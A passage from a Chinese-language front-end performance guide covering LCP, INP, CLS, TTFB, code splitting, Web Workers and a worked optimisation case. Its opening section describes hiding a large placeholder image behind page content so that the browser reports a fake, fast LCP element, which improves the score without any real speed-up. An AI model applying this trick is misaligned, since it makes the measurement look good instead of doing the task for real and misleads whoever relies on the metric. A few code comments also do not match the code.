背景:在某个项目中,页面真正有意义的 LCP 元素是一张很快就加载完成的小图。但页面还有一个用户引导弹层,弹层里有一张更大的图片。由于弹层是通过 JavaScript 渲染的,要等 JS 执行完才显示,而且弹层图片的尺寸更大,导致浏览器将弹层图片判定为 LCP 元素,LCP 时间被拉到了 5 秒以上。

解决方案:在页面首屏 HTML 中放置一个尺寸更大的占位图,让浏览器优先将它识别为 LCP 元素:

// 在页面根组件中放置这个"LCP 锚点"元素
function LCPAnchor() {
  return (
    <img
      // 使用一张加载极快的小图(如 base64 内联或 1px 透明图)
      src={getNoConnectionIcon()}
      // 关键:尺寸必须比其他竞争元素更大
      width={375}
      height={260}
      alt="LCP_hide_placeholder"
      style={{
        // 将元素隐藏,但不能使用 opacity: 0(会被 LCP 排除)
        // 使用 position: absolute 和 zIndex: -2 让它在内容层后面
        height: 260,
        left: 0,
        pointerEvents: 'none',   // 不响应鼠标事件
        position: 'absolute',
        zIndex: -2,              // 层叠在最底层,用户不可见
        top: 0,
        userSelect: 'none',      // 不可选中
        width: '100%',
      }}
    />
  );
}

原理

  1. 这个元素在 HTML 中是可见的(不是 opacity: 0,不是 visibility: hidden),所以浏览器会将它纳入 LCP 候选
  2. 它的渲染尺寸(375×260)比弹层图片更大,所以会被选为 LCP 元素
  3. 它使用的是 base64 图片,随 HTML 一起内联,加载时间极短
  4. 通过 zIndex: -2 将它隐藏在内容层后面,用户看不到它

效果:LCP 时间从 5 秒以上降至 1 秒以内。

关键限制:以下方式会导致元素被 LCP 排除:

  • opacity: 0 - 完全透明,被认为无意义
  • visibility: hidden - 不可见
  • 尺寸为 0×0
  • 完全覆盖视口(被视为背景)

第五章:INP 优化深度指南

5.1 INP 慢的根本原因

INP 差的根本原因是主线程被长任务阻塞。当用户点击按钮时,如果主线程正在执行一个耗时 500ms 的 JavaScript 任务,浏览器就无法立即处理这个点击事件,INP 就会很差。

主线程阻塞的常见来源

  1. 大量 DOM 操作querySelectorAll、大规模 DOM 读写
  2. 复杂计算:加密运算、数据处理、排序过滤
  3. 大量 React 重渲染:不必要的 re-render、大列表渲染
  4. 同步的大文件加载:阻塞解析的 <script> 标签

5.2 使用 Chrome DevTools 定位 INP 问题

步骤一:使用 Live Metrics 确认 INP 问题

  1. 打开 Performance 面板的 Live Metrics
  2. 在页面上进行各种交互(点击、输入、滚动)
  3. 观察 INP 数值,找到使数值变大的操作

步骤二:录制性能分析

  1. 点击录制
  2. 执行刚才导致 INP 变大的操作
  3. 停止录制
  4. 在时间线上找到该交互对应的区域

步骤三:分析交互的三个阶段

在 Performance 面板中,点击一个交互事件,底部会显示该交互的三个阶段时间分布:

  • Input Delay:如果这个值很大,说明点击时主线程正在执行其他任务
  • Processing Time:如果这个值很大,说明事件处理函数本身太耗时
  • Presentation Delay:如果这个值很大,说明渲染过程太复杂

5.3 三种核心优化技术

技术一:asyncExecuteTask - 异步化处理时间

这个技术适合解决 Processing Time 过长的问题。原理是将耗时操作从当前的同步执行中剥离,放到下一个任务(Task)中执行。这样当前交互的 INP 就只计算到任务切换点,而不包含后续耗时操作。

// ── 底层调度器 ──────────────────────────────────────────────

/**
 * 封装 requestIdleCallback,兼容不支持的浏览器(降级为 setTimeout)
 * timeout 超时后强制执行,保证任务不会被无限期推迟
 */
function runRequestIdleCallback(fn, timeout = 300) {
  if (typeof requestIdleCallback !== 'undefined') {
    requestIdleCallback(fn, { timeout });
  } else {
    setTimeout(fn, 1); // 降级兼容
  }
}

/**
 * 封装 queueMicrotask,兼容不支持的浏览器
 */
function runQueueMicrotask(fn) {
  if (typeof queueMicrotask !== 'undefined') {
    queueMicrotask(fn);
  } else {
    Promise.resolve().then(fn);
  }
}

// ── asyncExecuteTask 实际源码 ────────────────────────────────

/**
 * @param fn          要异步执行的函数
 * @param option.highPriority  true → queueMicrotask(微任务)
 *                             false(默认)→ requestIdleCallback(空闲宏任务)
 * @param option.runTimeout    requestIdleCallback 的超时保底时间,默认 300ms
 * @param option.mustSplit     true → 强制 setTimeout(fn, 1),确保产生新的宏任务边界
 */
const asyncExecuteTask = (fn, option) => {
  const {
    highPriority = false,
    runTimeout = 300,
    mustSplit = false,
  } = option || {};

  return new Promise((resolve) => {
    const wrappedFn = () => resolve(fn());

    if (mustSplit) {
      // 强制切分:通过 setTimeout 产生硬性宏任务边界
      return setTimeout(wrappedFn, 1);
    }
    if (highPriority) {
      // 高优先级:queueMicrotask,在当前宏任务末尾、下一宏任务前执行
      // 注意:微任务不会真正"让出主线程",仅推迟到当前调用栈清空后
      return runQueueMicrotask(wrappedFn);
    }
    // 默认(低优先级):requestIdleCallback,在浏览器空闲帧执行
    // 这是 INP 优化的核心:把耗时操作放到浏览器认为"当前帧已完成"之后
    return runRequestIdleCallback(wrappedFn, runTimeout);
  });
};

// ── asyncExecuteTaskHoc 实际源码 ─────────────────────────────

/**
 * HOC 版本:将一个函数包装成"调用时自动异步执行"的版本
 * 适合直接作为事件处理函数赋值,无需在调用处写 async/await
 */
const asyncExecuteTaskHoc = (fn, option) => {
  return (...params) => asyncExecuteTask(() => fn(...params), option);
};

三种调度策略对比

参数 调度机制 执行时机 适用场景
默认(低优先级) requestIdleCallback 浏览器空闲帧 MobX store 更新、非紧急副作用
highPriority: true queueMicrotask 当前调用栈清空后(微任务队列) 需要"稍后但尽快"执行的任务
mustSplit: true setTimeout(fn, 1) 下一个宏任务(强制切分) 必须产生宏任务边界的场景

关键理解requestIdleCallback 才是默认路径,不是 setTimeout。浏览器在完成当前帧的渲染后,如果还有剩余时间,才会执行 idle callback。这意味着 INP 的 Processing Time 几乎为 0——点击事件响应完成、画面更新后,耗时操作才开始跑。

// ============= 使用示例 =============

// 优化前:所有操作在一个同步任务中完成
// INP = Input Delay + (A耗时 + B耗时 + C耗时) + Presentation Delay
const handleClick_before = () => {
  doExpensiveOperationA(); // 耗时 100ms
  doExpensiveOperationB(); // 耗时 100ms
  setState({ ... });       // 触发重渲染
  doExpensiveOperationC(); // 耗时 100ms
  // INP Processing Time ≈ 300ms,差
};

// 优化后:耗时操作异步化
// INP = Input Delay + (setState耗时) + Presentation Delay
const handleClick_after = async () => {
  // 先执行 A,但立即让出控制权
  await asyncExecuteTask(() => {
    doExpensiveOperationA();
    doExpensiveOperationB();
  });

  // 这行代码决定了 INP 的 Processing Time
  setState({ ... });

  // 后续操作不影响当前 INP
  await asyncExecuteTask(() => {
    doExpensiveOperationC();
  });
};

实测数据:原始代码 INP = 340ms,使用 asyncExecuteTaskHoc 异步化后 INP = 9.19ms,几乎完全消除了交互延迟。

使用 performance-utils SDK:

import { asyncExecuteTask, asyncExecuteTaskHoc } from "performance-utils";

// 方式一:asyncExecuteTask(适合需要 await 的场景)
const handleClick = async () => {
  await asyncExecuteTask(() => {
    doExpensiveOperationA();
    doExpensiveOperationB();
  });

  setShowContent(!showContent); // 状态更新

  await asyncExecuteTask(() => {
    doExpensiveOperationC();
    doExpensiveOperationD();
  });
};

// 方式二:asyncExecuteTaskHoc(适合整个函数都需要异步化的场景)
const handleClick = asyncExecuteTaskHoc(
  () => {
    doExpensiveOperationA();
    doExpensiveOperationB();
    setShowContent(!showContent);
    doExpensiveOperationC();
    doExpensiveOperationD();
  }
);

技术二:taskSplitPoint - 长任务切片

这个技术适合解决一个函数内有多段耗时代码、需要在任务之间让出主线程的场景。

// ── taskSplitPoint 实际源码 ──────────────────────────────────

/**
 * 注意:使用的是 setTimeout(resolve, 1) 而非 setTimeout(resolve, 0)
 *
 * 为什么是 1ms 而不是 0ms?
 * - setTimeout(fn, 0) 在不同浏览器/场景下实际延迟可能被折叠到 0-4ms
 * - 使用 1ms 可以更可靠地保证产生一个真正的宏任务边界
 * - 浏览器有 4ms 的最小定时器间隔(嵌套 setTimeout 时),1ms 足以触发边界
 */
const taskSplitPoint = () => {
  return new Promise((resolve) => {
    setTimeout(resolve, 1);
  });
};

// ── runTasks 实际源码(async generator 模式)────────────────

/**
 * 顺序执行任务队列,每个任务之间自动插入 taskSplitPoint
 * 使用 for...of 循环 + yield,逐个执行并收集结果
 */
const runTasks = async (taskList) => {
  const results = [];
  for (const task of taskList) {
    results.push(await task());
    await taskSplitPoint(); // 每个任务完成后让出主线程
  }
  return results;
};

// ── runTasksParallel 实际源码 ────────────────────────────────

/**
 * 并行执行所有任务
 * 使用 Promise.allSettled 而非 Promise.all:
 * - Promise.all:任意一个任务失败就立即 reject,其他任务被放弃
 * - Promise.allSettled:等待所有任务完成,无论成功或失败,结果中包含每个任务的状态
 * 选用 allSettled 是为了容错——某个任务失败不应影响其他任务执行
 */
const runTasksParallel = (taskList) => {
  return Promise.allSettled(taskList.map((task) => task()));
};

// ── runArrayIterationTask 实际源码 ───────────────────────────

/**
 * @param array        要遍历的数组
 * @param fun          遍历回调,参数与 Array.map 一致:(value, index, array)
 * @param splitPointNum 插入几个切分点(默认 2)
 *
 * 切分逻辑:按数组长度均分,每隔 length/splitPointNum 个元素插一个切分点
 * 特殊处理:splitPointNum=1 时按 length/2 计算,避免只插一个点在中间
 */
const runArrayIterationTask = async (array, fun, splitPointNum = 2) => {
  const result = [];
  const batchSize = array.length / (splitPointNum === 1 ? 2 : splitPointNum);

  for (let i = 0; i < array.length; i++) {
    result.push(fun(array[i], i, array));
    if (Math.floor(i % batchSize) === 0) {
      await taskSplitPoint();
    }
  }
  return result;
};
// ============= 使用示例 =============

// 优化前:一个巨大的长任务
const processData = async () => {
  // 这整个函数是一个 500ms 的长任务
  parseAndValidateData(rawData);     // 100ms
  transformData(parsedData);         // 150ms
  calculateStatistics(transformed);  // 120ms
  renderChart(statistics);           // 130ms
};

// 优化后:通过 taskSplitPoint 切分为多个小任务
const processData_optimized = async () => {
  parseAndValidateData(rawData);     // 100ms 任务一
  await taskSplitPoint();            // ← 切分点,让出主线程

  transformData(parsedData);         // 150ms 任务二
  await taskSplitPoint();            // ← 切分点

  calculateStatistics(transformed);  // 120ms 任务三
  await taskSplitPoint();            // ← 切分点

  renderChart(statistics);           // 130ms 任务四
  // 现在是 4 个 ≤ 150ms 的任务,而不是 1 个 500ms 的长任务
};

使用 SDK:

import { taskSplitPoint, runTasks, runTasksParallel } from "performance-utils";

// taskSplitPoint 基础用法
const handleClick = async () => {
  doStep1();
  await taskSplitPoint(); // 切分点一
  doStep2();
  await taskSplitPoint(); // 切分点二
  doStep3();
};

// runTasks:将任务数组按顺序切片执行
// 实测 INP = 90.63ms(原始 340ms)
const handleClick = async () => {
  await runTasks([
    () => doExpensiveOperationA(),
    () => doExpensiveOperationB(),
  ]);
  setShowContent(!showContent);
  await runTasks([
    () => doExpensiveOperationC(),
    () => doExpensiveOperationD(),
  ]);
};

// runTasksParallel:并行执行多个任务(不保证执行顺序)
const handleClick = async () => {
  // A 和 B 会并行执行,总时间 ≈ max(A耗时, B耗时)
  await runTasksParallel([
    () => doIndependentTaskA(),
    () => doIndependentTaskB(),
  ]);
  setShowContent(!showContent);
};

// runArrayIterationTask:对数组进行切片遍历
// 参数:数组, 回调函数, 每批处理数量
const processItems = async () => {
  const items = [1, 2, 3, ..., 10000]; // 大数组
  await runArrayIterationTask(
    items,
    (value, index, array) => {
      processItem(value); // 处理每个元素
    },
    50 // 每批处理 50 个,处理完一批后让出主线程
  );
  setProcessed(true);
};

实测对比数据

优化方案 INP 值 说明
原始代码 340ms 所有操作在单个长任务中执行
taskSplitPoint 切片 130ms 任务被分为四段
runTasks 队列切片 90.63ms 通过任务队列管理
asyncExecuteTaskHoc 异步化 9.19ms 几乎完全消除延迟

技术三:useTransition - React 18 并发优化

这个技术专门针对 React 应用中的渲染引起的 INP 问题。

原理:React 18 的 useTransition 可以将某个状态更新标记为"非紧急",React 会将对应的渲染工作切分为小的可中断单元(Fiber 调度),当检测到用户有新的输入时,可以暂停非紧急渲染,先处理用户输入,再恢复渲染。

import { useState, useTransition } from 'react';

/**
 * 场景:搜索输入框 + 大列表过滤
 * 问题:输入时更新列表(10000条数据),导致输入卡顿
 * 优化:将列表更新标记为非紧急,确保输入框始终流畅
 */
function SearchWithTransition() {
  const [inputValue, setInputValue] = useState('');
  const [filteredList, setFilteredList] = useState(allItems);
  const [isPending, startTransition] = useTransition();

  const handleInput = (e) => {
    const value = e.target.value;

    // 输入框更新是紧急操作,直接更新,不会被中断
    setInputValue(value);

    // 列表过滤是非紧急操作,包裹在 startTransition 中
    // React 会在空闲时处理,用户输入会打断并重新开始
    startTransition(() => {
      const newList = allItems.filter(item =>
        item.name.toLowerCase().includes(value.toLowerCase())
      );
      setFilteredList(newList);
    });
  };

  return (
    <div>
      <input
        value={inputValue}
        onChange={handleInput}
        placeholder="搜索..."
      />
      {/* isPending 为 true 时说明列表还在更新中 */}
      {isPending && <span style={{ opacity: 0.5 }}>更新中...</span>}
      <ul>
        {filteredList.map(item => (
          <li key={item.id}>{item.name}</li>
        ))}
      </ul>
    </div>
  );
}

使用场景总结

场景 推荐方案 原因
处理函数中有多段耗时操作 taskSplitPoint 在关键位置插入切分点
MobX store 属性更改 asyncExecuteTask 将 MobX 更新异步化
React setState 触发大量重渲染 useTransition 利用 React 并发特性
大数组批量处理 runArrayIterationTask 分批处理,避免长任务
多个独立任务并行 runTasksParallel 充分利用浏览器调度

5.4 优化 Input Delay

如果 INP 的瓶颈是 Input Delay(用户点击到事件处理开始的延迟),说明点击时主线程正在执行其他代码,通常是:

  1. 定时器轮询:大量 setInterval 短期轮询
  2. 动画帧占用requestAnimationFrame 中执行了太多工作
  3. 后台任务:没有被用户触发的定时任务占用主线程

解决方案:

  • requestIdleCallback 执行后台任务,在主线程空闲时运行
  • 减少 setInterval 的频率
  • 将复杂计算移入 Web Worker(详见第八章)

第六章:CLS 优化深度指南

6.1 CLS 的计算原理

CLS(累积布局偏移)计算的是页面整个生命周期内所有意外布局偏移的累积分数。

单次布局偏移分数 = 影响分数 × 距离分数
影响分数 = 偏移前后合并区域占视口的比例
距离分数 = 元素移动的最大距离 / 视口尺寸

例如:一个按钮从视口中间移动到顶部,移动了视口高度的 25%,影响了视口 50% 的区域:

  • 距离分数 = 0.25
  • 影响分数 = 0.5
  • 单次 CLS = 0.25 × 0.5 = 0.125(已超过良好阈值)

注意:由用户操作(点击、键盘输入)触发的布局变化不计入 CLS,只有页面自发的变化才会被计算。

6.2 CLS 的常见原因与修复

原因一:图片无尺寸

问题:图片没有指定 widthheight 属性,浏览器不知道要为图片预留多大的空间,图片加载后会把下面的内容往下推。

<!-- ❌ 错误:没有尺寸,会导致 CLS -->
<img src="product.jpg" alt="产品图" />

<!-- ✅ 正确:指定宽高,浏览器预留空间 -->
<img src="product.jpg" alt="产品图" width="400" height="300" />

对于响应式图片,使用 aspect-ratio CSS 属性:

/* 使用 aspect-ratio 预留空间 */
.product-image {
  width: 100%;
  aspect-ratio: 4 / 3; /* 宽高比 */
}

原因二:动态注入的内容

问题:广告、通知横幅、Cookie 提示等内容在加载后才动态插入到页面顶部,把下面的内容往下推。

// ❌ 错误:动态插入横幅会导致 CLS
function Page() {
  const [showBanner, setShowBanner] = useState(false);

  useEffect(() => {
    // 1秒后显示广告横幅,把页面内容往下推
    setTimeout(() => setShowBanner(true), 1000);
  }, []);

  return (
    <div>
      {showBanner && <AdBanner />} {/* 这里会导致 CLS */}
      <MainContent />
    </div>
  );
}

// ✅ 正确方案一:预留空间
function Page() {
  const [showBanner, setShowBanner] = useState(false);

  useEffect(() => {
    setTimeout(() => setShowBanner(true), 1000);
  }, []);

  return (
    <div>
      {/* 预留固定高度的容器,无论横幅是否显示都占据这个空间 */}
      <div style={{ height: '60px', minHeight: '60px' }}>
        {showBanner && <AdBanner />}
      </div>
      <MainContent />
    </div>
  );
}

// ✅ 正确方案二:使用 position: fixed/sticky,不占文档流空间
function Page() {
  return (
    <div>
      <MainContent />
      {/* 使用固定定位,不影响文档流 */}
      <CookieBanner style={{ position: 'fixed', bottom: 0 }} />
    </div>
  );
}

原因三:Web 字体导致的文本偏移(FOUT/FOIT)

问题:页面先用系统字体渲染文本,Web 字体加载完成后切换,导致文本大小变化、布局偏移。

/* ✅ 使用 font-display: optional */
/* optional 策略:如果字体在极短时间内没有加载完,就放弃使用自定义字体 */
@font-face {
  font-family: 'MyFont';
  src: url('my-font.woff2') format('woff2');
  font-display: optional; /* 减少 FOUT */
}

/* ✅ 使用 size-adjust 减少字体切换时的布局变化 */
@font-face {
  font-family: 'FallbackFont';
  src: local('Arial');
  size-adjust: 105%; /* 调整备用字体大小,使其更接近自定义字体 */
  ascent-override: 95%;
}

原因四:后期加载的骨架屏尺寸不准确

骨架屏(Skeleton)的尺寸应该尽量与实际内容保持一致,否则内容加载后的替换会导致布局偏移:

// ❌ 错误:骨架屏高度和实际内容高度不一致
function UserCard({ user }) {
  if (!user) {
    return <div style={{ height: '50px' }}>加载中...</div>; // 高度不准确
  }

  return (
    <div style={{ height: '80px' }}> {/* 实际高度是 80px,骨架是 50px */}
      <img src={user.avatar} width="40" height="40" />
      <span>{user.name}</span>
      <span>{user.bio}</span>
    </div>
  );
}

// ✅ 正确:骨架屏与实际内容尺寸一致
function UserCard({ user }) {
  if (!user) {
    return (
      <div style={{ height: '80px', display: 'flex', alignItems: 'center' }}>
        {/* 骨架屏的布局和实际内容保持一致 */}
        <div style={{ width: 40, height: 40, borderRadius: '50%', background: '#eee' }} />
        <div style={{ marginLeft: 12 }}>
          <div style={{ width: 100, height: 16, background: '#eee' }} />
          <div style={{ width: 200, height: 12, background: '#eee', marginTop: 8 }} />
        </div>
      </div>
    );
  }

  return (
    <div style={{ height: '80px', display: 'flex', alignItems: 'center' }}>
      <img src={user.avatar} width="40" height="40" style={{ borderRadius: '50%' }} />
      <div style={{ marginLeft: 12 }}>
        <div style={{ fontSize: '16px', lineHeight: '16px' }}>{user.name}</div>
        <div style={{ fontSize: '12px', marginTop: 8 }}>{user.bio}</div>
      </div>
    </div>
  );
}

6.3 用 Chrome DevTools 诊断 CLS

  1. 在 Lighthouse 报告中,找到 CLS 指标,点击展开
  2. 查看哪些元素发生了偏移(Lighthouse 会列出偏移元素的选择器)
  3. 在 Performance 面板中录制,找到 Layout Shift 事件(紫色标记)
  4. 点击 Layout Shift 事件,查看哪个元素发生了偏移以及偏移量

第七章:TTFB 与网络优化

7.1 TTFB 慢的诊断

TTFB(首字节时间)是所有性能指标的起点。如果 TTFB 超过 200ms,即使其他所有优化都做得完美,LCP 也很难达到良好水平。

在 Chrome DevTools Network 面板中,点击 HTML 文档请求,查看 Timing 标签:

Queued at 0ms            请求被排入队列
Stalled for Xms          等待发送(连接限制、缓存检查等)
DNS Lookup: Xms          DNS 解析时间
Initial connection: Xms  TCP 连接时间
SSL: Xms                 TLS 握手时间(HTTPS)
Request sent: Xms        请求发送时间
Waiting (TTFB): Xms       这里是服务器处理时间,是核心指标
Content Download: Xms    HTML 下载时间

7.2 CDN 优化

CDN(内容分发网络)通过将静态资源分发到全球多个节点,减少用户到服务器的物理距离,是降低 TTFB 最有效的手段之一。

配置 CDN 的关键点

# Nginx 配置:为静态资源设置长效缓存
location ~* .(js|css|png|jpg|gif|ico|woff2)$ {
    # 静态资源缓存 1 年
    expires 365d;
    add_header Cache-Control "public, max-age=31536000, immutable";
    # immutable 告诉浏览器在缓存期内不要重新验证
}

location /api/ {
    # API 接口不缓存
    add_header Cache-Control "no-store";
    proxy_pass http://backend;
}

前端资源的内容哈希

现代构建工具(Webpack、Vite)会在文件名中加入内容哈希,当文件内容变化时哈希也变化,确保用户始终获取最新版本:

// webpack.config.js
module.exports = {
  output: {
    // [contenthash] 会根据文件内容生成哈希
    filename: 'js/[name].[contenthash:8].js',
    chunkFilename: 'js/[name].[contenthash:8].chunk.js',
  },
};

7.3 HTTP/2 和 HTTP/3

HTTP/2 的优势

  • 多路复用:一个连接可以同时处理多个请求,解决了 HTTP/1.1 的队头阻塞问题
  • 头部压缩:使用 HPACK 压缩请求头,减少重复头部的传输开销
  • 服务器推送:服务器可以在客户端请求之前主动推送资源

验证是否使用 HTTP/2

在 Chrome DevTools Network 面板中,右键列标题,勾选 Protocol 列,如果看到 h2 就是 HTTP/2。

7.4 资源预连接

对于需要从第三方域名加载的关键资源,可以使用 preconnect 提前建立连接:

<head>
  <!-- 提前与 CDN 建立连接(DNS解析 + TCP连接 + TLS握手) -->
  <link rel="preconnect" href="https://cdn.example.com" crossorigin />

  <!-- 仅提前做 DNS 解析,不建立连接(适合不确定是否会用到的域名) -->
  <link rel="dns-prefetch" href="https://analytics.example.com" />
</head>

第八章:代码层面的通用优化

8.1 代码分割(Code Splitting)

代码分割是减少首屏 JavaScript 体积最有效的手段。核心思想是:首屏只加载必要的代码,其他代码按需加载。

// webpack.config.js - 配置代码分割
module.exports = {
  optimization: {
    splitChunks: {
      chunks: 'all',
      cacheGroups: {
        //  node_modules 中的代码单独打包
        vendors: {
          test: /[\/]node_modules[\/]/,
          name: 'vendors',
          chunks: 'all',
          priority: 10,
        },
        //  React 相关库单独打包(变化少,可以长期缓存)
        react: {
          test: /[\/]node_modules[\/](react|react-dom|react-router)[\/]/,
          name: 'react-vendor',
          chunks: 'all',
          priority: 20,
        },
      },
    },
  },
};

8.2 路由级别的懒加载

在 React 应用中,每个路由页面都应该懒加载:

// router.tsx - 路由级懒加载
import { lazy, Suspense } from 'react';

// lazy() 会在组件首次被渲染时才加载对应的 JS 文件
const HomePage = lazy(() => import('./pages/HomePage'));
const TradePage = lazy(() => import('./pages/TradePage'));
const SettingsPage = lazy(() => import('./pages/SettingsPage'));

function App() {
  return (
    // Suspense 提供加载状态
    <Suspense fallback={<PageLoading />}>
      <Routes>
        <Route path="/" element={<HomePage />} />
        <Route path="/trade" element={<TradePage />} />
        <Route path="/settings" element={<SettingsPage />} />
      </Routes>
    </Suspense>
  );
}

效果:假设每个页面有 50KB 的 JS,有 10 个页面,不做懒加载首屏需要加载 500KB,做了懒加载首屏只需要加载当前页面的 50KB,减少 90%。

8.3 组件级别的懒加载

对于非关键的弹层、标签页内容等,可以延迟加载:

import { lazy, Suspense, useState } from 'react';

// 交易详情弹层:用户点击时才加载
const TxDetailModal = lazy(() => import('./TxDetailModal'));

function TxList() {
  const [selectedTx, setSelectedTx] = useState(null);

  return (
    <div>
      {transactions.map(tx => (
        <div key={tx.id} onClick={() => setSelectedTx(tx)}>
          {tx.hash}
        </div>
      ))}

      {/* 只在需要时才渲染(并加载)弹层组件 */}
      {selectedTx && (
        <Suspense fallback={<Spinner />}>
          <TxDetailModal tx={selectedTx} onClose={() => setSelectedTx(null)} />
        </Suspense>
      )}
    </div>
  );
}

8.4 Tree Shaking

Tree Shaking 是构建工具在打包时自动移除未使用代码的优化。要让 Tree Shaking 正常工作,需要注意:

// ❌ 全量引入:会打包整个 lodash(几百 KB)
import _ from 'lodash';
const result = _.debounce(fn, 300);

// ✅ 按需引入:只打包 debounce(几 KB)
import debounce from 'lodash/debounce';
const result = debounce(fn, 300);

// ✅ 更好的方案:使用支持 Tree Shaking 的 ES Module 版本
import { debounce } from 'lodash-es';
const result = debounce(fn, 300);

对于 UI 组件库

// ❌ 错误:引入整个组件库
import { Button, Input } from 'some-ui-library';

// ✅ 正确:使用 babel-plugin-import 按需引入
// 配置 .babelrc:
{
  "plugins": [
    ["import", {
      "libraryName": "some-ui-library",
      "style": true // 同时按需引入样式
    }]
  ]
}

8.5 Web Workers

将 CPU 密集型计算移入 Web Worker,避免阻塞主线程:

// crypto.worker.js - Web Worker 文件
self.onmessage = function(e) {
  const { type, data } = e.data;

  if (type === 'HASH') {
    // 在 Worker 中执行加密运算,不阻塞主线程
    const result = expensiveCryptoOperation(data);
    self.postMessage({ type: 'HASH_RESULT', result });
  }
};

// main.js - 主线程
const cryptoWorker = new Worker('./crypto.worker.js');

async function hashData(data) {
  return new Promise((resolve) => {
    cryptoWorker.postMessage({ type: 'HASH', data });
    cryptoWorker.onmessage = (e) => {
      if (e.data.type === 'HASH_RESULT') {
        resolve(e.data.result);
      }
    };
  });
}

// 主线程调用:加密运算在 Worker 中执行,不阻塞 UI
const hash = await hashData(rawData);

实际案例:在前面提到的性能分析中,Web3 加密库占 CPU 42.3%,将其移入 Web Worker 可以基本消除主线程阻塞。

8.6 虚拟列表

当列表数据量很大(数百到数万条)时,不应该渲染所有 DOM 节点,而应该使用虚拟列表:

import { FixedSizeList as List } from 'react-window';

// ❌ 错误:渲染 10000 个真实 DOM 节点
function BigList({ items }) {
  return (
    <ul>
      {items.map(item => (
        <li key={item.id} style={{ height: 50 }}>
          {item.name}
        </li>
      ))}
    </ul>
  );
}

// ✅ 正确:虚拟列表,只渲染视口内的节点(通常约 20 个)
function VirtualBigList({ items }) {
  const Row = ({ index, style }) => (
    // style 包含 position、top、height 等虚拟列表所需样式
    <div style={style}>
      {items[index].name}
    </div>
  );

  return (
    <List
      height={600}        // 列表容器高度
      itemCount={items.length}   // 总条目数
      itemSize={50}       // 每行高度固定width="100%"
    >
      {Row}
    </List>
  );
}

8.7 React 性能优化

import { memo, useMemo, useCallback } from 'react';

// ✅ React.memo:避免不必要的组件重渲染
const TxItem = memo(function TxItem({ tx, onSelect }) {
  return (
    <div onClick={() => onSelect(tx)}>
      {tx.hash} - {tx.amount}
    </div>
  );
});

// ✅ useMemo:缓存计算结果
function TxList({ transactions, filter }) {
  // 只有 transactions 或 filter 变化时才重新计算
  const filteredTxs = useMemo(
    () => transactions.filter(tx => tx.type === filter),
    [transactions, filter]
  );

  // ✅ useCallback:缓存函数引用,避免子组件重渲染
  const handleSelect = useCallback((tx) => {
    console.log('Selected:', tx.hash);
  }, []); // 依赖为空,函数引用永远不变

  return (
    <ul>
      {filteredTxs.map(tx => (
        <TxItem key={tx.id} tx={tx} onSelect={handleSelect} />
      ))}
    </ul>
  );
}

第九章:综合实战——完整性能排查流程

9.1 场景描述

假设你接手了一个新页面,用户反映"这个页面很慢,点了没反应"。下面是完整的排查和优化流程。

9.2 第一步:建立基准数据

在优化之前,先测量现状,建立基准:

  1. 使用 Lighthouse 获取综合评分:在隐身模式下,对目标页面运行 Lighthouse,记录所有指标数值
  2. 记录用户场景:明确用户说"慢"是哪个场景——是页面加载慢、还是点击某个按钮后没反应
  3. 确认设备环境:移动端还是桌面端,网络速度如何

假设 Lighthouse 报告如下:

Performance Score: 32
LCP: 5.8s  (差)
INP: 420ms (需改进)
CLS: 0.18  (需改进)
TTFB: 850ms
TBT: 3200ms

9.3 第二步:定位 TTFB 瓶颈

TTFB 850ms 远超 200ms 的良好阈值,先排查这个:

  1. 打开 Network 面板,找到 HTML 文档请求
  2. 查看 Timing:Waiting (TTFB): 750ms
  3. 750ms 都在等待服务器响应,说明是服务端问题(API 慢、数据库慢、没有 CDN 等)

解决方案

  • 联系后端优化 API 响应速度
  • 确认 HTML 是否经过 CDN 分发
  • 对于 SSG/SSR 内容,确认是否有适当的缓存

9.4 第三步:分析 LCP 问题

TTFB 处理后,关注 LCP:

  1. 在 Lighthouse 报告中找到 LCP 截图,查看被识别为 LCP 的元素

  2. 假设 LCP 元素是一张 600KB 的 PNG 主图

  3. 在 Network 面板中找到该图片的请求,查看:

    1. Priority:Low(加载优先级低!)
    2. Content-Encoding:(none)(没有压缩)
    3. 下载时间:1.8s(文件太大)

优化方案

<!-- 原来 -->
<img src="hero.png" alt="主图" />

<!-- 优化后 -->
<link rel="preload" as="image" href="hero.webp" />
<img src="hero.webp" alt="主图" fetchpriority="high" width="1200" height="600" />

同时将图片转换为 WebP 格式,体积从 600KB 减小到约 150KB。

9.5 第四步:分析 INP 和长任务

TBT 3200ms 说明有大量长任务,这是 INP 差的根本原因:

  1. 录制 Performance,找到页面加载和用户交互的时间线
  2. 在 Main 区域识别红色三角形标记的长任务
  3. 展开最长的任务,查看调用栈

假设发现:

  • filterTransactions() 函数执行了 800ms
  • 原因是每次都重新遍历 10000 条交易记录

优化方案

// 优化前:每次点击都同步过滤 10000 条数据
const handleFilterChange = (filter) => {
  const filtered = allTransactions.filter(tx => matchFilter(tx, filter)); // 800ms
  setFilteredTxs(filtered);
};

// 优化后:使用 taskSplitPoint 拆分任务
import { taskSplitPoint } from 'performance-utils';

const handleFilterChange = async (filter) => {
  // 先更新 UI 状态(让用户感觉立即响应)
  setIsFiltering(true);

  await taskSplitPoint(); // 让出主线程

  // 分批过滤
  const BATCH_SIZE = 500;
  const results = [];
  for (let i = 0; i < allTransactions.length; i += BATCH_SIZE) {
    const batch = allTransactions.slice(i, i + BATCH_SIZE);
    results.push(...batch.filter(tx => matchFilter(tx, filter)));
    await taskSplitPoint(); // 每处理500条让出一次主线程
  }

  setFilteredTxs(results);
  setIsFiltering(false);
};

9.6 第五步:修复 CLS 问题

CLS 0.18 超过了 0.1 的良好阈值:

  1. 在 Performance 面板中录制页面加载
  2. 找到紫色的 Layout Shift 事件
  3. 点击后查看是哪个元素发生了偏移

假设发现是顶部的 banner 图片加载后把下面内容推下去了:

// 优化前
<img src="banner.webp" alt="banner" />

// 优化后:指定宽高,预留空间
<img
  src="banner.webp"
  alt="banner"
  width="1200"
  height="300"
  style={{ width: '100%', height: 'auto' }}
/>

9.7 第六步:验证优化效果

再次运行 Lighthouse,对比数据:

优化前:
Performance Score: 32
LCP: 5.8s   优化后: 1.9s 
INP: 420ms  优化后: 180ms 
CLS: 0.18   优化后: 0.05 
TTFB: 850ms  优化后: 180ms 
TBT: 3200ms  优化后: 380ms (仍需改进)
Performance Score: 32  78

对于仍然偏高的 TBT,继续分析剩余的长任务,逐步优化。

9.8 优化的优先级原则

当面对多个需要优化的问题时,按照以下优先级处理:

  1. 首先解决 TTFB:这是所有指标的基础
  2. 然后解决 LCP:影响用户对页面加载速度的第一印象
  3. 然后解决 INP:影响用户与页面的交互体验
  4. 最后解决 CLS:减少用户困惑和误操作

第十章:性能监控与持续改进

